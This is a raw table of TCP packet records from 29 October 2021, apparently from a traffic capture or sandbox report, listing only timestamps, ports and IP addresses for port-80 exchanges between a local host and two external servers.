Oct 29, 2021 15:31:07.761343002 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.761368036 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761405945 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761415958 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.761446953 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761451006 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.761487007 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761523962 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761560917 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761569023 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.761605978 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.761610985 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761651993 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761689901 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761727095 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761739969 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.761765957 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761780024 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.761806011 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761847019 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761883020 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.761895895 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.761928082 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.797636986 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:07.797665119 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:07.828655958 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.828718901 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.828751087 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.828782082 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.828821898 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.828887939 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.828896046 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.828921080 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.828938007 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.828978062 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829001904 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.829020023 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829024076 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.829060078 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829098940 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829138041 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829148054 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.829179049 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829183102 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.829220057 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829257965 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829296112 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829304934 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.829335928 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829339981 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.829374075 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829413891 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829452038 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829461098 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.829492092 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829497099 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.829533100 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829571962 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829611063 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829621077 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.829653025 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829665899 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.829713106 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829756975 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829796076 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829806089 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.829834938 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829842091 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.829874992 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829911947 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829951048 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.829962969 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.829992056 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830001116 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.830029964 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830069065 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830106020 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830121994 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.830146074 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830152035 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.830187082 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830224037 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830262899 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830271959 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.830302954 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830308914 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.830342054 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830383062 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830420971 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830429077 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.830460072 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830476999 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.830502033 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830538988 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830576897 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830585957 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.830616951 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830624104 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.830656052 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830697060 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830734015 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830741882 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.830773115 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830779076 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.830813885 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830852032 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830889940 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830897093 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.830929041 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.830939054 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.830967903 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831007004 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831043959 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831052065 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.831084013 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831089973 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.831124067 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831161976 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831199884 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831207991 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.831239939 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831244946 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.831278086 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831316948 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831355095 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831371069 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.831393957 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831408978 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.831434965 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831471920 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831511021 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831518888 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.831549883 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831554890 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.831587076 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831625938 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831665039 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831675053 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.831706047 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831716061 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.831746101 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831783056 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831820965 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831830025 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.831859112 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831866980 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.831897020 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831934929 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831973076 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.831986904 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.832012892 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832019091 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.832055092 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832091093 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832128048 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832135916 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.832168102 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832184076 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.832206011 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832243919 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832282066 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832297087 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.832321882 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832338095 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.832364082 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832401991 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832437038 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.832442045 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832480907 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832516909 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832525015 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.832556009 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832595110 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832633018 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832647085 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.832657099 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.832674980 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832712889 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832768917 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.832772970 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832814932 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832842112 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.832917929 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832957983 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.832986116 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.833019018 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.833070993 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.833127975 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.833163023 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.833168030 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.833205938 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.833224058 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.833244085 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.833267927 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.833283901 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.833303928 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.833324909 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.833364010 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.833401918 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.833435059 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.833440065 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.833458900 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.833481073 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.833493948 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.833519936 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.833534002 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.833559990 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.833570957 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.833609104 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.861038923 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:07.861074924 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:07.905003071 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.905061960 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.905105114 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.905144930 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.905184031 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.905194044 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.905227900 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.905236959 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.905287027 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.905337095 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.905345917 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.905386925 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.905390024 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.905437946 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.905441999 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.905486107 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.905502081 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.905550957 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.905555010 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.905605078 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.905608892 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.905657053 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.905663013 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.905706882 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.905714989 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.905766010 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.905769110 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.905812025 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.905817032 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.905864954 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.905867100 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.905913115 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.905920029 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.905975103 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.906016111 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.906056881 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.906065941 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.906106949 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.906110048 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.906163931 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.906213999 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.906213999 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.906258106 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.906265020 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.906312943 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.906316996 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.906363010 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.906368971 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.906414032 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.906421900 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.906470060 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.906474113 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.906521082 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.906524897 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.906569958 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.906574965 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.906619072 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.906636953 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.906682014 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.906692028 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.906734943 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.906745911 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.906788111 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.906797886 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.906841040 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.906848907 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.906889915 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.906902075 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.906949997 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.906953096 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.907007933 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.907056093 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.907062054 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.907107115 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.907111883 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.907155991 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.907165051 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.907216072 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.907217979 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.907258987 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.907268047 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.907325029 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.907332897 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.907383919 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.907386065 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.907433033 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.907435894 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.907479048 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.907489061 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.907543898 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.907548904 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.907588959 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.907603025 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.907643080 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.907655954 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.907707930 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.907711983 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.907753944 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.907762051 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.907809019 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.907815933 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.907860994 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.907867908 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.907910109 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.907919884 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.907963037 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.907969952 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.908015013 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.908024073 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.908071995 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.908077955 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.908126116 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.908128023 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.908174992 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.908180952 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.908227921 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.908233881 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.908282995 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.908283949 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.908329010 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.908334017 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.908377886 CEST	49846	80	192.168.2.7	193.56.146.214
